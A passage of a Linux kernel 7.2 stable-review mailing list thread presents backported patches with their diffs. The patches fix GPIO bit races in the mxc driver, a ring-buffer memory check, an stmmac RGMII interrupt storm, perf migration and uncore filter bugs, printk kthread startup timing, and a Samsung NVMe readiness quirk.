Andy Shevchenko, Bartosz Golaszewski, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peng Fan <peng.fan@nxp.com>
[ Upstream commit b7719c575dec69146f6d537fd616b27083c0cf45 ]
gpio_set_irq_type() can be called concurrently for different pins on
the same port. The IRQ core serializes per irq descriptor, but
different pins have different descriptors, so on SMP systems two
concurrent gpio_set_irq_type() calls for pins on the same port run
without mutual exclusion.
The read-modify-write of port->both_edges is performed outside the
port-wide scoped_guard(gpio_generic_lock_irqsave) section, so
concurrent updates for different pins can overwrite each other,
causing missed interrupts or stuck IRQ lines on dual-edge triggered
pins.
The original uniprocessor MXC SoCs were not affected; the race
became reachable on multi-core i.MX7 and i.MX8 SoCs that reuse this
driver.
Convert both_edges from u32 to unsigned long and use set_bit(),
clear_bit(), and test_bit() to make the modifications atomic.
Fixes: 910862ec092c ("mxc: emulate GPIO interrupt on both-edges")
Reviewed-by: Frank Li <Frank.Li@nxp.com>
Signed-off-by: Peng Fan <peng.fan@nxp.com>
Reviewed-by: Linus Walleij <linusw@kernel.org>
Reviewed-by: Andy Shevchenko <andy@kernel.org>
Link: https://patch.msgid.link/20261013-gpio-mxc-cleanup-v7-2-c4d769587d3e@nxp.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpio/gpio-mxc.c | 9 +++++----
1 file changed, 5 insertions(+), 4 deletions(-)
diff --git a/drivers/gpio/gpio-mxc.c b/drivers/gpio/gpio-mxc.c
index e05f276a50e8d..7e17d7668980d 100644
--- a/drivers/gpio/gpio-mxc.c
+++ b/drivers/gpio/gpio-mxc.c
@@ -7,6 +7,7 @@
// Authors: Daniel Mack, Juergen Beisert.
// Copyright (C) 2004-2010 Freescale Semiconductor, Inc. All Rights Reserved.
+#include <linux/bitops.h>
#include <linux/cleanup.h>
#include <linux/clk.h>
#include <linux/err.h>
@@ -68,7 +69,7 @@ struct mxc_gpio_port {
struct irq_domain *domain;
struct gpio_generic_chip gen_gc;
struct device *dev;
- u32 both_edges;
+ unsigned long both_edges;
struct mxc_gpio_reg_saved gpio_saved_reg;
bool power_off;
u32 wakeup_pads;
@@ -168,7 +169,7 @@ static int gpio_set_irq_type(struct irq_data *d, u32 type)
int edge;
void __iomem *reg = port->base;
- port->both_edges &= ~(1 << gpio_idx);
+ clear_bit(gpio_idx, &port->both_edges);
switch (type) {
case IRQ_TYPE_EDGE_RISING:
edge = GPIO_INT_RISE_EDGE;
@@ -188,7 +189,7 @@ static int gpio_set_irq_type(struct irq_data *d, u32 type)
edge = GPIO_INT_HIGH_LEV;
pr_debug("mxc: set GPIO %d to high trigger\n", gpio_idx);
}
- port->both_edges |= 1 << gpio_idx;
+ set_bit(gpio_idx, &port->both_edges);
}
break;
case IRQ_TYPE_LEVEL_LOW:
@@ -259,7 +260,7 @@ static void mxc_gpio_irq_handler(struct mxc_gpio_port *port, u32 irq_stat)
while (irq_stat != 0) {
int irqoffset = fls(irq_stat) - 1;
- if (port->both_edges & (1 << irqoffset))
+ if (test_bit(irqoffset, &port->both_edges))
mxc_flip_edge(port, irqoffset);
generic_handle_domain_irq(port->domain, irqoffset);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 088/242] gpio: mxc: fix wakeup_pads bit operations
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (85 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 087/242] gpio: mxc: fix both_edges bit operations Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 089/242] gpio: mxc: fix race between gpiochip registration and IRQ domain setup Greg Kroah-Hartman
` (154 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Frank Li, Peng Fan, Andy Shevchenko,
Bartosz Golaszewski, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peng Fan <peng.fan@nxp.com>
[ Upstream commit 170aeff46fb54f41545c85a72aec525aebc79d44 ]
gpio_set_wake_irq() can be called concurrently for different pins on
the same port. The writer-vs-writer race is the concern: two concurrent
gpio_set_wake_irq() calls for different pins on the same port both do
a non-atomic read-modify-write on the same wakeup_pads word. The old
|= and &= compile to separate load/modify/store instructions that can
interleave, losing one CPU's update.
assign_bit() uses an atomic RMW instruction, so concurrent writers to
different bits in the same word are safe.
The reader side (for_each_set_bit in noirq_suspend, wakeup_pads > 0)
runs in noirq context where no concurrent writer can execute, so
reader atomicity is not needed.
wakeup_pads is a u32, while assign_bit() operates on unsigned long
pointers. On 64-bit platforms, this causes an 8-byte read-modify-write
on a 4-byte field, corrupting the adjacent is_pad_wakeup. So change
wakeup_pads to unsigned long and reorder to avoid wasting words.
And fix the enable/disable path unconditionally sets/clears the
wakeup_pads bit even when enable_irq_wake()/disable_irq_wake() fails.
Only update the bit on success.
Fixes: f60c9eac54af ("gpio: mxc: enable pad wakeup on i.MX8x platforms")
Assisted-by: LLM
Reviewed-by: Frank Li <Frank.Li@nxp.com>
Signed-off-by: Peng Fan <peng.fan@nxp.com>
Reviewed-by: Andy Shevchenko <andy@kernel.org>
Link: https://patch.msgid.link/20261013-gpio-mxc-cleanup-v7-3-c4d769587d3e@nxp.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpio/gpio-mxc.c | 10 ++++++----
1 file changed, 6 insertions(+), 4 deletions(-)
diff --git a/drivers/gpio/gpio-mxc.c b/drivers/gpio/gpio-mxc.c
index 7e17d7668980d..e3a80f17d0412 100644
--- a/drivers/gpio/gpio-mxc.c
+++ b/drivers/gpio/gpio-mxc.c
@@ -72,8 +72,8 @@ struct mxc_gpio_port {
unsigned long both_edges;
struct mxc_gpio_reg_saved gpio_saved_reg;
bool power_off;
- u32 wakeup_pads;
bool is_pad_wakeup;
+ unsigned long wakeup_pads;
u32 pad_type[32];
const struct mxc_gpio_hwdata *hwdata;
};
@@ -331,16 +331,18 @@ static int gpio_set_wake_irq(struct irq_data *d, u32 enable)
ret = enable_irq_wake(port->irq_high);
else
ret = enable_irq_wake(port->irq);
- port->wakeup_pads |= BIT(gpio_idx);
} else {
if (port->irq_high && (gpio_idx >= 16))
ret = disable_irq_wake(port->irq_high);
else
ret = disable_irq_wake(port->irq);
- port->wakeup_pads &= ~BIT(gpio_idx);
}
+ if (ret)
+ return ret;
- return ret;
+ assign_bit(gpio_idx, &port->wakeup_pads, enable);
+
+ return 0;
}
static int mxc_gpio_init_gc(struct mxc_gpio_port *port, int irq_base)
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 089/242] gpio: mxc: fix race between gpiochip registration and IRQ domain setup
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (86 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 088/242] gpio: mxc: fix wakeup_pads " Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 090/242] ring-buffer: Use subbuf_order in available memory estimation Greg Kroah-Hartman
` (153 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Peng Fan, Linus Walleij, Frank Li,
Andy Shevchenko, Bartosz Golaszewski, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peng Fan <peng.fan@nxp.com>
[ Upstream commit 205cccd06e545694754e1bf8d626ea96e742cd8a ]
devm_gpiochip_add_data() makes the GPIO chip visible to consumers
immediately. Since the chip sets .to_irq = mxc_gpio_to_irq, which calls
irq_find_mapping(port->domain, offset), any to_irq() call between
gpiochip registration and IRQ domain creation will operate on a NULL
domain.
Fix by moving devm_gpiochip_add_data() after the IRQ domain and generic
irq chip are fully initialized, ensuring port->domain and the irq chip
handlers are ready before the chip becomes visible to consumers.
Fixes: d37a65bb4663 ("gpio/mxc: Move Freescale MXC gpio driver to drivers/gpio")
Signed-off-by: Peng Fan <peng.fan@nxp.com>
Reviewed-by: Linus Walleij <linusw@kernel.org>
Reviewed-by: Frank Li <Frank.Li@nxp.com>
Reviewed-by: Andy Shevchenko <andy@kernel.org>
Link: https://patch.msgid.link/20261013-gpio-mxc-cleanup-v7-4-c4d769587d3e@nxp.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpio/gpio-mxc.c | 13 +++++++++----
1 file changed, 9 insertions(+), 4 deletions(-)
diff --git a/drivers/gpio/gpio-mxc.c b/drivers/gpio/gpio-mxc.c
index e3a80f17d0412..32ded7b548fb7 100644
--- a/drivers/gpio/gpio-mxc.c
+++ b/drivers/gpio/gpio-mxc.c
@@ -500,10 +500,6 @@ static int mxc_gpio_probe(struct platform_device *pdev)
else /* silence boot time warning */
port->gen_gc.gc.base = -1;
- err = devm_gpiochip_add_data(&pdev->dev, &port->gen_gc.gc, port);
- if (err)
- goto out_bgio;
-
irq_base = devm_irq_alloc_descs(&pdev->dev, -1, 0, 32, numa_node_id());
if (irq_base < 0) {
err = irq_base;
@@ -524,6 +520,15 @@ static int mxc_gpio_probe(struct platform_device *pdev)
if (err < 0)
goto out_irqdomain_remove;
+ /*
+ * Register the GPIO chip last: devm_gpiochip_add_data() makes the
+ * chip visible to consumers immediately, so the IRQ domain and
+ * generic irq chip must be ready before any to_irq() call.
+ */
+ err = devm_gpiochip_add_data(&pdev->dev, &port->gen_gc.gc, port);
+ if (err)
+ goto out_irqdomain_remove;
+
list_add_tail(&port->node, &mxc_gpio_ports);
mxc_update_irq_chained_handler(port, true);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 090/242] ring-buffer: Use subbuf_order in available memory estimation
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (87 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 089/242] gpio: mxc: fix race between gpiochip registration and IRQ domain setup Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 091/242] net: stmmac: dwmac1000: clear the RGMII status interrupt Greg Kroah-Hartman
` (152 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Masami Hiramatsu (Google),
Vincent Donnefort, Steven Rostedt, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vincent Donnefort <vdonnefort@google.com>
[ Upstream commit 13d530f2daeda9493f4d07ddc5ca13e21318fbeb ]
To avoid failing in the middle of an allocation of a ring-buffer,
__rb_allocate_pages() looks at the available memory estimation with
si_mem_available(). Use the subbuffer order with this estimation to fail
early if necessary for ring-buffers with an order > 0.
Link: https://patch.msgid.link/20261013102047.1488347-3-vdonnefort@google.com
Fixes: f9b94daa542a ("ring-buffer: Set new size of the ring buffer sub page")
Reviewed-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
Signed-off-by: Vincent Donnefort <vdonnefort@google.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/trace/ring_buffer.c | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/kernel/trace/ring_buffer.c b/kernel/trace/ring_buffer.c
index 4c0141d8e0622..6a3b4da37fc2e 100644
--- a/kernel/trace/ring_buffer.c
+++ b/kernel/trace/ring_buffer.c
@@ -2422,6 +2422,7 @@ static int __rb_allocate_pages(struct ring_buffer_per_cpu *cpu_buffer,
long nr_pages, struct list_head *pages)
{
struct trace_buffer *buffer = cpu_buffer->buffer;
+ unsigned int subbuf_order = buffer->subbuf_order;
struct ring_buffer_cpu_meta *meta = NULL;
struct buffer_page *bpage, *tmp;
struct ring_buffer_desc *desc = NULL;
@@ -2443,7 +2444,7 @@ static int __rb_allocate_pages(struct ring_buffer_per_cpu *cpu_buffer,
* not going to succeed.
*/
i = si_mem_available();
- if (i < nr_pages)
+ if (i < (nr_pages << subbuf_order))
return -ENOMEM;
user_thread = current->mm != NULL;
@@ -2496,12 +2497,11 @@ static int __rb_allocate_pages(struct ring_buffer_per_cpu *cpu_buffer,
bpage->id = i + 1;
cpu_buffer->subbuf_ids[i + 1] = bpage;
} else {
- bpage->page = alloc_cpu_data(cpu_buffer->cpu,
- cpu_buffer->buffer->subbuf_order);
+ bpage->page = alloc_cpu_data(cpu_buffer->cpu, subbuf_order);
if (!bpage->page)
goto free_pages;
}
- bpage->order = cpu_buffer->buffer->subbuf_order;
+ bpage->order = subbuf_order;
if (user_thread && fatal_signal_pending(current))
goto free_pages;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 091/242] net: stmmac: dwmac1000: clear the RGMII status interrupt
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (88 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 090/242] ring-buffer: Use subbuf_order in available memory estimation Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 092/242] perf/x86/intel/uncore: Fix DMR CXL CM invert filter Greg Kroah-Hartman
` (151 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Igor Velkov, Daniel Machon,
Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Igor Velkov <iav@iav.lv>
[ Upstream commit aa07285705f8d5bac464eb1c5b7412f8e88b91e1 ]
Since commit 2e2c878a3141 ("net: stmmac: remove SGMII/RGMII/SMII
interrupt handling") nothing on the RGMII path reads GMAC_RGSMIIIS, so
RGSMIIIS stays pending behind GMAC_INT_MASK from the first link change
on. stmmac_resume() resets the MAC in stmmac_hw_setup(); the reset sets
GMAC_INT_MASK to 0 until dwmac1000_core_init() writes the mask again,
and the pending status storms the line:
dwmac_dma_interrupt: unexpected status 04000000
A register dump at the first message on ODROID-HC4 showed it:
core int_status 00000001 int_mask 00000000 pmt 00000000 rgsmiiis 0000000d
When the resume thread runs on the CPU that takes the MAC interrupt,
the storm starves it: a soft lockup, then a watchdog reset or a hang.
Read GMAC_RGSMIIIS in dwmac1000_irq_status() when the status is not
masked, as the driver did before 2e2c878a3141; the read clears it.
Wake-on-LAN resume from s2idle with the resume thread and the MAC
interrupt on one CPU: Helios64 (dwmac-rk), 7.3-rc6, soft-locked in 3 of
3 resumes without a fix and in 0 of 10 with this patch; it ran with an
out-of-tree dwmac-rk change that keeps the GMAC powered across suspend.
ODROID-HC4 (dwmac-meson8b): 0 of 10 with this patch, 2 of 2 without a
fix on a 7.3-rc5 build. irq_rgmii_n went up by one per resume.
Fixes: 2e2c878a3141 ("net: stmmac: remove SGMII/RGMII/SMII interrupt handling")
Assisted-by: LLM
Signed-off-by: Igor Velkov <iav@iav.lv>
Reviewed-by: Daniel Machon <daniel.machon@microchip.com>
Link: https://patch.msgid.link/20261009201709.1917585-1-iav@iav.lv
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/stmicro/stmmac/dwmac1000_core.c | 6 ++++++
1 file changed, 6 insertions(+)
diff --git a/drivers/net/ethernet/stmicro/stmmac/dwmac1000_core.c b/drivers/net/ethernet/stmicro/stmmac/dwmac1000_core.c
index d4ace39248915..66337cfd98243 100644
--- a/drivers/net/ethernet/stmicro/stmmac/dwmac1000_core.c
+++ b/drivers/net/ethernet/stmicro/stmmac/dwmac1000_core.c
@@ -312,6 +312,12 @@ static int dwmac1000_irq_status(struct stmmac_priv *priv,
if (intr_status & (PCS_ANE_IRQ | PCS_LINK_IRQ))
stmmac_integrated_pcs_irq(priv, intr_status, x);
+ /* Reading RGSMIIIS clears the interrupt the MAC reset unmasks. */
+ if (intr_status & PCS_RGSMIIIS_IRQ) {
+ readl(ioaddr + GMAC_RGSMIIIS);
+ x->irq_rgmii_n++;
+ }
+
return ret;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 092/242] perf/x86/intel/uncore: Fix DMR CXL CM invert filter
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (89 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 091/242] net: stmmac: dwmac1000: clear the RGMII status interrupt Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 093/242] perf: Fix perf_pmu_migrate_context() leaving events behind Greg Kroah-Hartman
` (150 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Guixiong Wei, Peter Zijlstra (Intel),
Zide Chen, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Guixiong Wei <weiguixiong@bytedance.com>
[ Upstream commit cf1f186e08dadb5abc4410d10fe3ada7ebf801ae ]
The DMR CXL CM PMU places its invert filter at config bit 21 and its
9-bit threshold at bits 23-31. However, dmr_uncore_cxlcm uses
GENERIC_PMON_RAW_EVENT_MASK, which covers the threshold through the
generic bit 23 invert field and bits 24-31 threshold field, but does not
include the relocated invert bit. As a result, uncore_pmu_event_init()
silently clears bit 21 and inv=1 programs the same configuration as
inv=0.
Add bit 21 to a DMR CXL CM-specific event mask so the requested invert
filter reaches hardware.
Fixes: 6daf2c35b835 ("perf/x86/intel/uncore: Add IMH PMON support for Diamond Rapids")
Signed-off-by: Guixiong Wei <weiguixiong@bytedance.com>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Reviewed-by: Zide Chen <zide.chen@intel.com>
Link: https://patch.msgid.link/20261008051953.6293-2-weiguixiong@bytedance.com
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
arch/x86/events/intel/uncore_snbep.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/arch/x86/events/intel/uncore_snbep.c b/arch/x86/events/intel/uncore_snbep.c
index a97cd029db366..1b460cf27a10f 100644
--- a/arch/x86/events/intel/uncore_snbep.c
+++ b/arch/x86/events/intel/uncore_snbep.c
@@ -474,6 +474,9 @@
/* DMR */
#define DMR_IMH1_HIOP_MMIO_BASE 0x1ffff6ae7000
#define DMR_HIOP_MMIO_SIZE 0x8000
+#define DMR_CXLCM_PMON_CTL_INVERT BIT(21)
+#define DMR_CXLCM_PMON_RAW_EVENT_MASK (GENERIC_PMON_RAW_EVENT_MASK | \
+ DMR_CXLCM_PMON_CTL_INVERT)
#define DMR_CXLCM_EVENT_MASK_EXT 0xf
#define DMR_HAMVF_EVENT_MASK_EXT 0xffffffff
#define DMR_PCIE4_EVENT_MASK_EXT 0xffffff
@@ -6696,7 +6699,7 @@ static struct event_constraint dmr_uncore_cxlcm_constraints[] = {
static struct intel_uncore_type dmr_uncore_cxlcm = {
.name = "cxlcm",
- .event_mask = GENERIC_PMON_RAW_EVENT_MASK,
+ .event_mask = DMR_CXLCM_PMON_RAW_EVENT_MASK,
.event_mask_ext = DMR_CXLCM_EVENT_MASK_EXT,
.constraints = dmr_uncore_cxlcm_constraints,
.format_group = &dmr_cxlcm_uncore_format_group,
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 093/242] perf: Fix perf_pmu_migrate_context() leaving events behind
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (90 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 092/242] perf/x86/intel/uncore: Fix DMR CXL CM invert filter Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 094/242] printk: Postpone kthread startup Greg Kroah-Hartman
` (149 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Haris Okanovic,
Peter Zijlstra (Intel), Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Haris Okanovic <harisokn@amazon.com>
[ Upstream commit e76b36b4be7160eaa14b416681e548b125702395 ]
__perf_pmu_remove() walks the group leaders of a CPU and PMU with
perf_event_groups_for_cpu_pmu(), removing each one as it goes.
perf_remove_from_context() takes the leader out of the groups rbtree,
after which rb_next() on that node returns NULL, prematurely ending the
walk. Other groups stay behind in the source context.
On CPU hotplug, they are then torn down with the dying CPU. They keep
running until teardown, while the PMU's interrupt and migrated events
are on a new CPU, which drivers rely on never happening.
Walk ctx->event_list instead and pick out the PMU's events by their
pmu_ctx.
Fixes: bd2756811766 ("perf: Rewrite core context handling")
Signed-off-by: Haris Okanovic <harisokn@amazon.com>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Link: https://patch.msgid.link/20261013185603.1347265-2-harisokn@amazon.com
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/events/core.c | 20 +++++++-------------
1 file changed, 7 insertions(+), 13 deletions(-)
diff --git a/kernel/events/core.c b/kernel/events/core.c
index 4959b287f589d..36c78b7b06a94 100644
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -14370,23 +14370,18 @@ perf_event_create_kernel_counter(struct perf_event_attr *attr, int cpu,
}
EXPORT_SYMBOL_GPL(perf_event_create_kernel_counter);
-static void __perf_pmu_remove(struct perf_event_context *ctx,
- int cpu, struct pmu *pmu,
- struct perf_event_groups *groups,
+static void __perf_pmu_remove(struct perf_event_context *ctx, struct pmu *pmu,
struct list_head *events)
{
- struct perf_event *event, *sibling;
+ struct perf_event *event, *tmp;
+
+ list_for_each_entry_safe(event, tmp, &ctx->event_list, event_entry) {
+ if (event->pmu_ctx->pmu != pmu)
+ continue;
- perf_event_groups_for_cpu_pmu(event, groups, cpu, pmu) {
perf_remove_from_context(event, 0);
put_pmu_ctx(event->pmu_ctx);
list_add(&event->migrate_entry, events);
-
- for_each_sibling_event(sibling, event) {
- perf_remove_from_context(sibling, 0);
- put_pmu_ctx(sibling->pmu_ctx);
- list_add(&sibling->migrate_entry, events);
- }
}
}
@@ -14462,8 +14457,7 @@ void perf_pmu_migrate_context(struct pmu *pmu, int src_cpu, int dst_cpu)
*/
mutex_lock_double(&src_ctx->mutex, &dst_ctx->mutex);
- __perf_pmu_remove(src_ctx, src_cpu, pmu, &src_ctx->pinned_groups, &events);
- __perf_pmu_remove(src_ctx, src_cpu, pmu, &src_ctx->flexible_groups, &events);
+ __perf_pmu_remove(src_ctx, pmu, &events);
if (!list_empty(&events)) {
/*
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 094/242] printk: Postpone kthread startup
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (91 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 093/242] perf: Fix perf_pmu_migrate_context() leaving events behind Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 095/242] PCI: Ignore Immediate Readiness on Samsung 990 PRO and 990 EVO Plus NVMe Greg Kroah-Hartman
` (148 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Derek Barbosa, John Ogness,
Petr Mladek, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: John Ogness <john.ogness@linutronix.de>
[ Upstream commit 5f339c46f153184570f16c8e789c9709b14cbe8b ]
There have been various bug reports related to SMP systems hanging
on boot. The reports vary but seem to have some overlap with regard
to missed IPI's during SMP setup. The reports also show that
reverting NBCON console usage allows the bugs to disappear.
The NBCON kthreads for console printing are started very early
during boot using early_initcall(). Since these kthreads are
asynchronously enabling/disabling interrupts during early boot, they
may be interfering with early SMP setup on some hardware platforms.
Starting the console printing kthreads later has shown to avoid the
hanging on systems that could previously reproduce the issue.
Postpone kthread starting until after all arch initcalls have
completed.
Reported-by: Derek Barbosa <debarbos@redhat.com>
Closes: https://lore.kernel.org/linux-rt-users/arPmYPbFLf2EldIl@debarbos-thinkpadt14gen5.rmtusma.csb
Fixes: 76f258bf3f2a ("printk: nbcon: Introduce printer kthreads")
Signed-off-by: John Ogness <john.ogness@linutronix.de>
Tested-by: Derek Barbosa <debarbos@redhat.com>
Link: https://patch.msgid.link/20261016085441.857695-1-john.ogness@linutronix.de
Signed-off-by: Petr Mladek <pmladek@suse.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/printk/printk.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/kernel/printk/printk.c b/kernel/printk/printk.c
index 96ff9547e888b..fbcfd3e1a1884 100644
--- a/kernel/printk/printk.c
+++ b/kernel/printk/printk.c
@@ -3862,7 +3862,7 @@ static int __init printk_set_kthreads_ready(void)
return 0;
}
-early_initcall(printk_set_kthreads_ready);
+subsys_initcall(printk_set_kthreads_ready);
#endif /* CONFIG_PRINTK */
static int __read_mostly keep_bootcon;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 095/242] PCI: Ignore Immediate Readiness on Samsung 990 PRO and 990 EVO Plus NVMe
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (92 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 094/242] printk: Postpone kthread startup Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 096/242] PCI: Dont treat ~0 as ready in pci_dev_wait() with RRS SV Greg Kroah-Hartman
` (147 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Lukas Wunner, Alexander Gruhlke,
Bjorn Helgaas, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexander Gruhlke <gruhlke@mailbox.org>
[ Upstream commit 0f8b5d90d179b9639be1dbeff59d6d971e6b0527 ]
The Samsung 990 PRO [144d:a80c] advertises Immediate Readiness, so
pcie_flr() doesn't wait after FLR, but the drive returns ~0 for up to 7 ms.
Since commit 10baa9b4df40 ("PCI: Drop unnecessary retries when restoring
BARs"), the config restore after FLR is lost, which breaks VFIO passthrough
of the drive. Firmware 8B2QJXD7 responds right after FLR, but older
firmware such as 1B2QJXD7 doesn't, and the firmware version isn't visible
here.
[bhelgaas: The Samsung 990 EVO Plus [144d:a80d] with 2B2QKXG7 firmware
seems to have the same problem.]
Ignore Immediate Readiness on these devices, so pcie_flr() waits.
Fixes: 10baa9b4df40 ("PCI: Drop unnecessary retries when restoring BARs")
Link: https://bbs.archlinux.org/viewtopic.php?id=314833
Link: https://bbs.archlinux.org/viewtopic.php?pid=2312085#p2312085
Suggested-by: Lukas Wunner <lukas@wunner.de>
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: Alexander Gruhlke <gruhlke@mailbox.org>
[bhelgaas: squashed in Samsung 990 EVO Plus from
https://lore.kernel.org/all/20261016102042.641801-1-gruhlke@mailbox.org]
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
Reviewed-by: Lukas Wunner <lukas@wunner.de>
Link: https://patch.msgid.link/20261011190145.23621-2-gruhlke@mailbox.org
Link: https://patch.msgid.link/20261016102042.641801-1-gruhlke@mailbox.org
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pci/quirks.c | 12 ++++++++++++
1 file changed, 12 insertions(+)
diff --git a/drivers/pci/quirks.c b/drivers/pci/quirks.c
index 0500d5fd4f112..86e6af409da23 100644
--- a/drivers/pci/quirks.c
+++ b/drivers/pci/quirks.c
@@ -5623,6 +5623,18 @@ static void quirk_no_flr_snet(struct pci_dev *dev)
}
DECLARE_PCI_FIXUP_EARLY(PCI_VENDOR_ID_SOLIDRUN, 0x1000, quirk_no_flr_snet);
+/* Some Samsung SSDs advertise Immediate Readiness but aren't ready after FLR */
+static void quirk_no_imm_ready(struct pci_dev *dev)
+{
+ if (!dev->imm_ready)
+ return;
+
+ pci_info(dev, "Ignoring incorrectly advertised Immediate Readiness support\n");
+ dev->imm_ready = 0;
+}
+DECLARE_PCI_FIXUP_FINAL(PCI_VENDOR_ID_SAMSUNG, 0xa80c, quirk_no_imm_ready);
+DECLARE_PCI_FIXUP_FINAL(PCI_VENDOR_ID_SAMSUNG, 0xa80d, quirk_no_imm_ready);
+
static void quirk_no_ext_tags(struct pci_dev *pdev)
{
struct pci_host_bridge *bridge = pci_find_host_bridge(pdev->bus);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
